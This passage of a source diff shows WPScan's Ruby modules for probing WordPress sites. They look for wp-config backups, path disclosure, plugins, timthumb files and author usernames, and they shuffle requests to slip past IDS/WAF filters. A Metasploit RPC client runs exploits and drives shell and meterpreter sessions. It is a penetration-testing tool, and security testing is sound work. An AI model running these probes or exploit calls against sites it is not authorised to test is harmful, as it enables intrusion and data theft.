malwares_file = Malwares.malwares_file(malwares_file_path)
|
||||
index_page_body = Browser.instance.get(@uri.to_s).body
|
||||
|
||||
File.open(malwares_file, 'r') do |file|
|
||||
file.readlines.collect do |url|
|
||||
chomped_url = url.chomp
|
||||
|
||||
if chomped_url.length > 0
|
||||
malwares_found += index_page_body.scan(Malwares.malware_pattern(chomped_url))
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
malwares_found.flatten!
|
||||
malwares_found.uniq!
|
||||
|
||||
@malwares = malwares_found
|
||||
end
|
||||
@malwares
|
||||
end
|
||||
|
||||
def self.malwares_file(malwares_file_path)
|
||||
malwares_file_path || DATA_DIR + '/malwares.txt'
|
||||
end
|
||||
|
||||
def self.malware_pattern(url)
|
||||
%r{<(?:script|iframe).* src=(?:"|')(#{url}[^"']*)(?:"|')[^>]*>}i
|
||||
end
|
||||
end
|
||||
68
lib/wpscan/modules/web_site.rb
Normal file
68
lib/wpscan/modules/web_site.rb
Normal file
@@ -0,0 +1,68 @@
|
||||
#
|
||||
# WPScan - WordPress Security Scanner
|
||||
# Copyright (C) 2011 Ryan Dewhurst AKA ethicalhack3r
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
#
|
||||
|
||||
module WebSite
|
||||
|
||||
# check if the remote website is
|
||||
# actually running wordpress.
|
||||
def is_wordpress?
|
||||
wordpress = false
|
||||
|
||||
response = Browser.instance.get(login_url(),
|
||||
:follow_location => true,
|
||||
:max_redirects => 2
|
||||
)
|
||||
|
||||
if response.body =~ %r{WordPress}i
|
||||
wordpress = true
|
||||
else
|
||||
response = Browser.instance.get(xmlrpc_url(),
|
||||
:follow_location => true,
|
||||
:max_redirects => 2
|
||||
)
|
||||
|
||||
if response.body =~ %r{XML-RPC server accepts POST requests only}i
|
||||
wordpress = true
|
||||
end
|
||||
end
|
||||
|
||||
wordpress
|
||||
end
|
||||
|
||||
def xmlrpc_url
|
||||
@uri.merge("xmlrpc.php").to_s
|
||||
end
|
||||
|
||||
# Checks if the remote website is up.
|
||||
def is_online?
|
||||
Browser.instance.get(@uri.to_s).code != 0
|
||||
end
|
||||
|
||||
# see if the remote url returns 30x redirect
|
||||
# return a string with the redirection or nil
|
||||
def redirection(url = nil)
|
||||
url ||= @uri.to_s
|
||||
response = Browser.instance.get(url)
|
||||
|
||||
if response.code == 301 || response.code == 302
|
||||
redirection = response.headers_hash['location']
|
||||
end
|
||||
|
||||
redirection
|
||||
end
|
||||
end
|
||||
56
lib/wpscan/modules/wp_config_backup.rb
Normal file
56
lib/wpscan/modules/wp_config_backup.rb
Normal file
@@ -0,0 +1,56 @@
|
||||
#
|
||||
# WPScan - WordPress Security Scanner
|
||||
# Copyright (C) 2011 Ryan Dewhurst AKA ethicalhack3r
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
#
|
||||
|
||||
module WpConfigBackup
|
||||
|
||||
# Checks to see if wp-config.php has a backup
|
||||
# See http://www.feross.org/cmsploit/
|
||||
# return an array of backup config files url
|
||||
def config_backup
|
||||
found = []
|
||||
backups = WpConfigBackup.config_backup_files
|
||||
browser = Browser.instance
|
||||
hydra = browser.hydra
|
||||
|
||||
backups.each do |file|
|
||||
file_url = @uri.merge(URI.escape(file)).to_s
|
||||
request = browser.forge_request(file_url)
|
||||
|
||||
request.on_complete do |response|
|
||||
if response.body[%r{define}i] and not response.body[%r{<\s?html}i]
|
||||
found << file_url
|
||||
end
|
||||
end
|
||||
|
||||
hydra.queue(request)
|
||||
end
|
||||
|
||||
hydra.run
|
||||
|
||||
found
|
||||
end
|
||||
|
||||
# @return Array
|
||||
def self.config_backup_files
|
||||
[
|
||||
'wp-config.php~','#wp-config.php#','wp-config.php.save','wp-config.php.swp','wp-config.php.swo','wp-config.php_bak',
|
||||
'wp-config.bak', 'wp-config.php.bak', 'wp-config.save'
|
||||
] # thanks to Feross.org for these
|
||||
end
|
||||
|
||||
end
|
||||
30
lib/wpscan/modules/wp_full_path_disclosure.rb
Normal file
30
lib/wpscan/modules/wp_full_path_disclosure.rb
Normal file
@@ -0,0 +1,30 @@
|
||||
#
|
||||
# WPScan - WordPress Security Scanner
|
||||
# Copyright (C) 2011 Ryan Dewhurst AKA ethicalhack3r
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
#
|
||||
|
||||
module WpFullPathDisclosure
|
||||
|
||||
# Check for Full Path Disclosure (FPD)
|
||||
def has_full_path_disclosure?
|
||||
response = Browser.instance.get(full_path_disclosure_url())
|
||||
response.body[%r{Fatal error}i]
|
||||
end
|
||||
|
||||
def full_path_disclosure_url
|
||||
@uri.merge("wp-includes/rss-functions.php").to_s
|
||||
end
|
||||
end
|
||||
109
lib/wpscan/modules/wp_login_protection.rb
Normal file
109
lib/wpscan/modules/wp_login_protection.rb
Normal file
@@ -0,0 +1,109 @@
|
||||
#
|
||||
# WPScan - WordPress Security Scanner
|
||||
# Copyright (C) 2011 Ryan Dewhurst AKA ethicalhack3r
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
#
|
||||
|
||||
module WpLoginProtection
|
||||
|
||||
@@login_protection_method_pattern = /^has_(.*)_protection\?/i
|
||||
# Used as cache
|
||||
@login_protection_plugin = nil
|
||||
|
||||
def has_login_protection?
|
||||
!login_protection_plugin().nil?
|
||||
end
|
||||
|
||||
# Checks if a login protection plugin is enabled
|
||||
# http://code.google.com/p/wpscan/issues/detail?id=111
|
||||
# return a WpPlugin object or nil if no one is found
|
||||
def login_protection_plugin
|
||||
unless @login_protection_plugin
|
||||
protected_methods.grep(@@login_protection_method_pattern).each do |symbol_to_call|
|
||||
|
||||
if send(symbol_to_call)
|
||||
plugin_name = symbol_to_call[@@login_protection_method_pattern, 1].gsub('_', '-')
|
||||
|
||||
return @login_protection_plugin = WpPlugin.new(
|
||||
WpPlugin::create_location_url_from_name(
|
||||
plugin_name,
|
||||
@uri.to_s
|
||||
),
|
||||
:name => plugin_name
|
||||
)
|
||||
end
|
||||
end
|
||||
@login_protection_plugin = nil
|
||||
end
|
||||
@login_protection_plugin
|
||||
end
|
||||
|
||||
protected
|
||||
# Thanks to Alip Aswalid for providing this method.
|
||||
# http://wordpress.org/extend/plugins/login-lockdown/
|
||||
def has_login_lockdown_protection?
|
||||
Browser.instance.get(login_url()).body =~ %r{Login LockDown}i ? true : false
|
||||
end
|
||||
|
||||
# http://wordpress.org/extend/plugins/login-lock/
|
||||
def has_login_lock_protection?
|
||||
Browser.instance.get(login_url()).body =~ %r{LOGIN LOCK} ? true : false
|
||||
end
|
||||
|
||||
# http://wordpress.org/extend/plugins/better-wp-security/
|
||||
def has_better_wp_security_protection?
|
||||
Browser.instance.get(better_wp_security_url()).code != 404
|
||||
end
|
||||
|
||||
def better_wp_security_url
|
||||
WpPlugin.create_location_url_from_name("better-wp-security", @uri)
|
||||
end
|
||||
|
||||
# http://wordpress.org/extend/plugins/simple-login-lockdown/
|
||||
def has_simple_login_lockdown_protection?
|
||||
Browser.instance.get(simple_login_lockdown_url()).code != 404
|
||||
end
|
||||
|
||||
def simple_login_lockdown_url
|
||||
WpPlugin.create_location_url_from_name("simple-login-lockdown", @uri)
|
||||
end
|
||||
|
||||
# http://wordpress.org/extend/plugins/login-security-solution/
|
||||
def has_login_security_solution_protection?
|
||||
Browser.instance.get(login_security_solution_url()).code != 404
|
||||
end
|
||||
|
||||
def login_security_solution_url
|
||||
WpPlugin.create_location_url_from_name("login-security-solution", @uri)
|
||||
end
|
||||
|
||||
# http://wordpress.org/extend/plugins/limit-login-attempts/
|
||||
def has_limit_login_attempts_protection?
|
||||
Browser.instance.get(limit_login_attempts_url()).code != 404
|
||||
end
|
||||
|
||||
def limit_login_attempts_url
|
||||
WpPlugin.create_location_url_from_name("limit-login-attempts", @uri)
|
||||
end
|
||||
|
||||
# http://wordpress.org/extend/plugins/bluetrait-event-viewer/
|
||||
def has_bluetrait_event_viewer_protection?
|
||||
Browser.instance.get(bluetrait_event_viewer_url()).code != 404
|
||||
end
|
||||
|
||||
def bluetrait_event_viewer_url
|
||||
WpPlugin.create_location_url_from_name("bluetrait-event-viewer", @uri)
|
||||
end
|
||||
end
|
||||
130
lib/wpscan/modules/wp_plugins.rb
Normal file
130
lib/wpscan/modules/wp_plugins.rb
Normal file
@@ -0,0 +1,130 @@
|
||||
#
|
||||
# WPScan - WordPress Security Scanner
|
||||
# Copyright (C) 2011 Ryan Dewhurst AKA ethicalhack3r
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
#
|
||||
|
||||
module WpPlugins
|
||||
|
||||
# Enumerate installed plugins.
|
||||
# Available options : see #targets_url
|
||||
#
|
||||
# return array of WpPlugin
|
||||
def plugins_from_aggressive_detection(options = {})
|
||||
browser = Browser.instance
|
||||
hydra = browser.hydra
|
||||
found_plugins = options[:only_vulnerable_ones] ? [] : plugins_from_passive_detection()
|
||||
request_count = 0
|
||||
queue_count = 0
|
||||
local_404_hash = error_404_hash()
|
||||
valid_response_codes = WpPlugins.valid_response_codes()
|
||||
targets_url = plugins_targets_url(options)
|
||||
|
||||
targets_url.each do |target_url|
|
||||
request = browser.forge_request(target_url, :cache_timeout => 0, :follow_location => true)
|
||||
request_count += 1
|
||||
|
||||
request.on_complete do |response|
|
||||
print "\rChecking for " + targets_url.size.to_s + " total plugins... #{(request_count * 100) / targets_url.size}% complete." # progress indicator
|
||||
|
||||
if valid_response_codes.include?(response.code)
|
||||
if Digest::MD5.hexdigest(response.body) != local_404_hash
|
||||
found_plugins << WpPlugin.new(target_url)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
hydra.queue(request)
|
||||
queue_count += 1
|
||||
|
||||
if queue_count == browser.max_threads
|
||||
hydra.run
|
||||
queue_count = 0
|
||||
end
|
||||
end
|
||||
|
||||
hydra.run
|
||||
|
||||
found_plugins
|
||||
end
|
||||
|
||||
def self.valid_response_codes
|
||||
[200, 403, 301, 302]
|
||||
end
|
||||
|
||||
# Available options :
|
||||
# :only_vulnerable_ones - default false
|
||||
# :plugins_file - default DATA_DIR/plugins.txt
|
||||
# :plugin_vulns_file - default DATA_DIR/plugin_vulns.xml
|
||||
#
|
||||
# @return Array of String
|
||||
def plugins_targets_url(options = {})
|
||||
only_vulnerable = options[:only_vulnerable_ones] || false
|
||||
plugins_file = options[:plugins_file] || "#{DATA_DIR}/plugins.txt"
|
||||
plugin_vulns_file = options[:plugin_vulns_file] || "#{DATA_DIR}/plugin_vulns.xml"
|
||||
targets_url = []
|
||||
|
||||
if only_vulnerable == false
|
||||
# Open and parse the 'most popular' plugin list...
|
||||
File.open(plugins_file, 'r') do |file|
|
||||
file.readlines.collect do |line|
|
||||
targets_url << WpPlugin.create_url_from_raw(line.chomp, @uri)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
xml = Nokogiri::XML(File.open(plugin_vulns_file)) do |config|
|
||||
config.noblanks
|
||||
end
|
||||
|
||||
# We check if the plugin name from the plugin_vulns_file is already in targets, otherwise we add it
|
||||
xml.xpath("//plugin").each do |node|
|
||||
plugin_name = node.attribute('name').text
|
||||
|
||||
if targets_url.grep(%r{/#{plugin_name}/}).empty?
|
||||
targets_url << WpPlugin.create_location_url_from_name(plugin_name, url())
|
||||
end
|
||||
end
|
||||
|
||||
targets_url.flatten!
|
||||
targets_url.uniq!
|
||||
# randomize the plugins array to *maybe* help in some crappy IDS/IPS/WAF detection
|
||||
targets_url.sort_by { rand }
|
||||
end
|
||||
|
||||
# http://code.google.com/p/wpscan/issues/detail?id=42
|
||||
# plugins can be found in the source code :
|
||||
# <script src='http://example.com/wp-content/plugins/s2member/...' />
|
||||
# <link rel='stylesheet' href='http://example.com/wp-content/plugins/wp-minify/..' type='text/css' media='screen'/>
|
||||
# ...
|
||||
# return array of WpPlugin
|
||||
def plugins_from_passive_detection
|
||||
plugins = []
|
||||
response = Browser.instance.get(url())
|
||||
plugins_names = response.body.scan(%r{(?:[^=:]+)\s?(?:=|:)\s?(?:"|')[^"']+\\?/wp-content\\?/plugins\\?/([^/\\"']+)\\?(?:/|"|')}i)
|
||||
|
||||
plugins_names.flatten!
|
||||
plugins_names.uniq!
|
||||
|
||||
plugins_names.each do |plugin_name|
|
||||
plugins << WpPlugin.new(
|
||||
WpPlugin.create_location_url_from_name(plugin_name, url()),
|
||||
:name => plugin_name
|
||||
)
|
||||
end
|
||||
plugins
|
||||
end
|
||||
|
||||
end
|
||||
36
lib/wpscan/modules/wp_readme.rb
Normal file
36
lib/wpscan/modules/wp_readme.rb
Normal file
@@ -0,0 +1,36 @@
|
||||
#
|
||||
# WPScan - WordPress Security Scanner
|
||||
# Copyright (C) 2011 Ryan Dewhurst AKA ethicalhack3r
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
#
|
||||
|
||||
module WpReadme
|
||||
|
||||
# Checks to see if the readme.html file exists
|
||||
#
|
||||
# This file comes by default in a wordpress installation,
|
||||
# and if deleted is reinstated with an upgrade.
|
||||
def has_readme?
|
||||
response = Browser.instance.get(readme_url())
|
||||
|
||||
unless response.code == 404
|
||||
response.body =~ %r{wordpress}i
|
||||
end
|
||||
end
|
||||
|
||||
def readme_url
|
||||
@uri.merge("readme.html").to_s
|
||||
end
|
||||
end
|
||||
102
lib/wpscan/modules/wp_timthumbs.rb
Normal file
102
lib/wpscan/modules/wp_timthumbs.rb
Normal file
@@ -0,0 +1,102 @@
|
||||
#
|
||||
# WPScan - WordPress Security Scanner
|
||||
# Copyright (C) 2011 Ryan Dewhurst AKA ethicalhack3r
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
#
|
||||
|
||||
module WpTimthumbs
|
||||
|
||||
# Used as cache : nil => timthumbs not checked, [] => no timthumbs, otherwise array of timthumbs url found
|
||||
@wp_timthumbs = nil
|
||||
|
||||
def has_timthumbs?(options = {})
|
||||
!timthumbs(options).empty?
|
||||
end
|
||||
|
||||
# Available options :
|
||||
# :theme_name
|
||||
# :timthumbs_file
|
||||
#
|
||||
# return array of string (url of timthumbs found), can be empty
|
||||
def timthumbs(options = {})
|
||||
if @wp_timthumbs.nil?
|
||||
browser = Browser.instance
|
||||
hydra = browser.hydra
|
||||
found_timthumbs = []
|
||||
request_count = 0
|
||||
queue_count = 0
|
||||
targets_url = timthumbs_targets_url(options)
|
||||
|
||||
targets_url.each do |target_url|
|
||||
request = browser.forge_request(target_url, :cache_timeout => 0)
|
||||
request_count += 1
|
||||
|
||||
request.on_complete do |response|
|
||||
print "\rChecking for " + targets_url.size.to_s + " total timthumb files... #{(request_count * 100) / targets_url.size}% complete." # progress indicator
|
||||
if response.body =~ /no image specified/i
|
||||
found_timthumbs << target_url
|
||||
end
|
||||
end
|
||||
|
||||
hydra.queue(request)
|
||||
queue_count += 1
|
||||
|
||||
if queue_count == browser.max_threads
|
||||
hydra.run
|
||||
queue_count = 0
|
||||
end
|
||||
end
|
||||
|
||||
hydra.run
|
||||
|
||||
@wp_timthumbs = found_timthumbs
|
||||
end
|
||||
@wp_timthumbs
|
||||
end
|
||||
|
||||
# Available options :
|
||||
# :theme_name
|
||||
# :timthumbs_file
|
||||
#
|
||||
# retrun array of string
|
||||
def timthumbs_targets_url(options = {})
|
||||
targets = options[:theme_name] ? targets_url_from_theme(options[:theme_name]) : []
|
||||
timthumbs_file = WpTimthumbs.timthumbs_file(options[:timthumbs_file])
|
||||
targets += File.open(timthumbs_file, 'r') {|file| file.readlines.collect{|line| @uri.merge(line.chomp).to_s}}
|
||||
|
||||
targets.uniq!
|
||||
# randomize the array to *maybe* help in some crappy IDS/IPS/WAF evasion
|
||||
targets.sort_by { rand }
|
||||
end
|
||||
|
||||
def self.timthumbs_file(timthumbs_file_path = nil)
|
||||
timthumbs_file_path || DATA_DIR + "/timthumbs.txt"
|
||||
end
|
||||
|
||||
protected
|
||||
def targets_url_from_theme(theme_name)
|
||||
targets = []
|
||||
theme_name = URI.escape(theme_name)
|
||||
|
||||
[
|
||||
'timthumb.php', 'lib/timthumb.php', 'inc/timthumb.php', 'includes/timthumb.php',
|
||||
'scripts/timthumb.php', 'tools/timthumb.php', 'functions/timthumb.php'
|
||||
].each do |file|
|
||||
targets << @uri.merge("wp-content/themes/#{theme_name}/#{file}").to_s
|
||||
end
|
||||
targets
|
||||
end
|
||||
|
||||
end
|
||||
52
lib/wpscan/modules/wp_usernames.rb
Normal file
52
lib/wpscan/modules/wp_usernames.rb
Normal file
@@ -0,0 +1,52 @@
|
||||
#
|
||||
# WPScan - WordPress Security Scanner
|
||||
# Copyright (C) 2011 Ryan Dewhurst AKA ethicalhack3r
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
#
|
||||
|
||||
module WpUsernames
|
||||
|
||||
# Enumerate wordpress usernames by using Veronica Valeros's technique:
|
||||
# http://seclists.org/fulldisclosure/2011/May/493
|
||||
#
|
||||
# Available options :
|
||||
# :range - default : 1..10
|
||||
#
|
||||
# returns an array of usernames (can be empty)
|
||||
def usernames(options = {})
|
||||
range = options[:range] || (1..10)
|
||||
browser = Browser.instance
|
||||
usernames = []
|
||||
|
||||
range.each do |author_id|
|
||||
response = browser.get(author_url(author_id))
|
||||
|
||||
if response.code == 301 # username in location?
|
||||
usernames << response.headers_hash['location'][%r{/author/([^/]+)/}i, 1]
|
||||
elsif response.code == 200 # username in body?
|
||||
usernames << response.body[%r{posts by (.*) feed}i, 1]
|
||||
end
|
||||
end
|
||||
|
||||
# clean the array, remove nils and possible duplicates
|
||||
usernames.flatten!
|
||||
usernames.compact!
|
||||
usernames.uniq
|
||||
end
|
||||
|
||||
def author_url(author_id)
|
||||
@uri.merge("?author=#{author_id}").to_s
|
||||
end
|
||||
end
|
||||
156
lib/wpscan/msfrpc_client.rb
Normal file
156
lib/wpscan/msfrpc_client.rb
Normal file
@@ -0,0 +1,156 @@
|
||||
#!/usr/bin/env ruby
|
||||
|
||||
#
|
||||
# WPScan - WordPress Security Scanner
|
||||
# Copyright (C) 2011 Ryan Dewhurst AKA ethicalhack3r
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
#
|
||||
# ryandewhurst at gmail
|
||||
#
|
||||
|
||||
# This library should contain all methods to communicate with msfrpc.
|
||||
# See framework/documentation/msfrpc.txt for further information.
|
||||
# msfrpcd -S -U wpscan -P wpscan -f -t Web -u /RPC2
|
||||
# name = exploit/unix/webapp/php_include
|
||||
|
||||
class RpcClient
|
||||
|
||||
def initialize
|
||||
@config = {}
|
||||
@config['host'] = "127.0.0.1"
|
||||
@config['path'] = "/RPC2"
|
||||
@config['port'] = 55553
|
||||
@config['user'] = "wpscan"
|
||||
@config['pass'] = "wpscan"
|
||||
@auth_token = nil
|
||||
@last_auth = nil
|
||||
|
||||
begin
|
||||
@server = XMLRPC::Client.new3( :host => @config["host"], :path => @config["path"], :port => @config["port"], :user => @config["user"], :password => @config["pass"])
|
||||
rescue => e
|
||||
puts "[ERROR] Could not create XMLRPC object."
|
||||
puts e.faultCode
|
||||
puts e.faultString
|
||||
end
|
||||
end
|
||||
|
||||
# login to msfrpcd
|
||||
|
||||
def login()
|
||||
result = @server.call("auth.login", @config['user'], @config['pass'])
|
||||
|
||||
if result['result'] == "success"
|
||||
@auth_token = result['token']
|
||||
@last_auth = Time.new
|
||||
logged_in = true
|
||||
else
|
||||
puts "[ERROR] Invalid login credentials provided to msfrpcd."
|
||||
logged_in = false
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
# check authentication
|
||||
|
||||
def authenticate()
|
||||
login() if @auth_token.nil?
|
||||
login() if (Time.now - @last_auth > 600)
|
||||
end
|
||||
|
||||
# retrieve information about the exploit
|
||||
|
||||
def get_exploit_info(name)
|
||||
authenticate()
|
||||
result = @server.call('module.info', @auth_token, 'exploit', name)
|
||||
return result
|
||||
end
|
||||
|
||||
# retrieve exploit options
|
||||
|
||||
def get_options(name)
|
||||
authenticate()
|
||||
result = @server.call('module.options', @auth_token, 'exploit',name)
|
||||
return result
|
||||
end
|
||||
|
||||
# retrieve the exploit payloads
|
||||
|
||||
def get_payloads(name)
|
||||
authenticate()
|
||||
result = @server.call('module.compatible_payloads', @auth_token, name)
|
||||
return result
|
||||
end
|
||||
|
||||
# execute exploit
|
||||
|
||||
def exploit(name, opts)
|
||||
authenticate()
|
||||
result = @server.call('module.execute', @auth_token, 'exploit', name, opts)
|
||||
return result
|
||||
end
|
||||
|
||||
# list msf jobs
|
||||
|
||||
def jobs()
|
||||
authenticate()
|
||||
result = @server.call('job.list', @auth_token)
|
||||
return result
|
||||
end
|
||||
|
||||
# list msf sessions
|
||||
|
||||
def sessions()
|
||||
authenticate()
|
||||
result = @server.call('session.list', @auth_token)
|
||||
return result
|
||||
end
|
||||
|
||||
# kill msf session
|
||||
|
||||
def kill_session(id)
|
||||
authenticate()
|
||||
result = @server.call('session.stop', @auth_token, id)
|
||||
return result
|
||||
end
|
||||
|
||||
# reads any pending output from session
|
||||
|
||||
def read_shell(id)
|
||||
authenticate()
|
||||
result = @server.call('session.shell_read', @auth_token, id)
|
||||
return result
|
||||
end
|
||||
|
||||
# writes the specified input into the session
|
||||
|
||||
def write_shell(id, data)
|
||||
authenticate()
|
||||
result = @server.call('session.shell_write', @auth_token, id, data)
|
||||
return result
|
||||
end
|
||||
|
||||
def meterpreter_read(id)
|
||||
authenticate()
|
||||
result = @server.call('session.meterpreter_read', @auth_token, id)
|
||||
return result
|
||||
end
|
||||
|
||||
def meterpreter_write(id, data)
|
||||
authenticate()
|
||||
result = @server.call('session.meterpreter_write', @auth_token, id, data)
|
||||
return result
|
||||
end
|
||||
|
||||
end
|
||||
41
lib/wpscan/vulnerable.rb
Normal file
41
lib/wpscan/vulnerable.rb
Normal file
@@ -0,0 +1,41 @@
|
||||
#
|
||||
# WPScan - WordPress Security Scanner
|
||||
# Copyright (C) 2011 Ryan Dewhurst AKA ethicalhack3r
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
#
|
||||
|
||||
class Vulnerable
|
||||
|
||||
attr_reader :vulns_xml, :vulns_xpath
|
||||
|
||||
# @return an array of WpVulnerability (can be empty)
|
||||
def vulnerabilities
|
||||
vulnerabilities = []
|
||||
|
||||
xml = Nokogiri::XML(File.open(@vulns_xml)) do |config|
|
||||
config.noblanks
|
||||
end
|
||||
|
||||
xml.xpath(@vulns_xpath).each do |node|
|
||||
vulnerabilities << WpVulnerability.new(
|
||||
node.search('title').text,
|
||||
node.search('reference').text,
|
||||
node.search('type').text
|
||||
)
|
||||
end
|
||||
vulnerabilities
|
||||
end
|
||||
|
||||
end
|
||||
96
lib/wpscan/wp_plugin.rb
Normal file
96
lib/wpscan/wp_plugin.rb
Normal file
@@ -0,0 +1,96 @@
|
||||
#
|
||||
# WPScan - WordPress Security Scanner
|
||||
# Copyright (C) 2011 Ryan Dewhurst AKA ethicalhack3r
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
#
|
||||
|
||||
require "#{WPSCAN_LIB_DIR}/vulnerable"
|
||||
|
||||
class WpPlugin < Vulnerable
|
||||
@@location_url_pattern = %r{^(https?://.*/([^/]+)/)}i
|
||||
|
||||
attr_reader :name, :location_uri
|
||||
|
||||
def initialize(location_url, options = {})
|
||||
@location_uri = WpPlugin.location_uri_from_url(location_url)
|
||||
@name = options[:name] || WpPlugin.extract_name_from_location_url(location_url)
|
||||
@vulns_xml = options[:vulns_xml] || DATA_DIR + '/plugin_vulns.xml'
|
||||
@vulns_xpath = "//plugin[@name='#{@name}']/vulnerability"
|
||||
end
|
||||
|
||||
def location_url
|
||||
@location_uri.to_s
|
||||
end
|
||||
|
||||
def ==(plugin)
|
||||
plugin.name == @name
|
||||
end
|
||||
|
||||
def <=>(plugin)
|
||||
plugin.name <=> @name
|
||||
end
|
||||
|
||||
# http://code.google.com/p/wpscan/issues/detail?id=97
|
||||
def version
|
||||
response = Browser.instance.get(@location_uri.merge("readme.txt").to_s)
|
||||
response.body[%r{stable tag: #{WpVersion.version_pattern}}i, 1]
|
||||
end
|
||||
|
||||
# Discover any error_log files created by WordPress
|
||||
# These are created by the WordPress error_log() function
|
||||
# They are normally found in the /plugins/ directory,
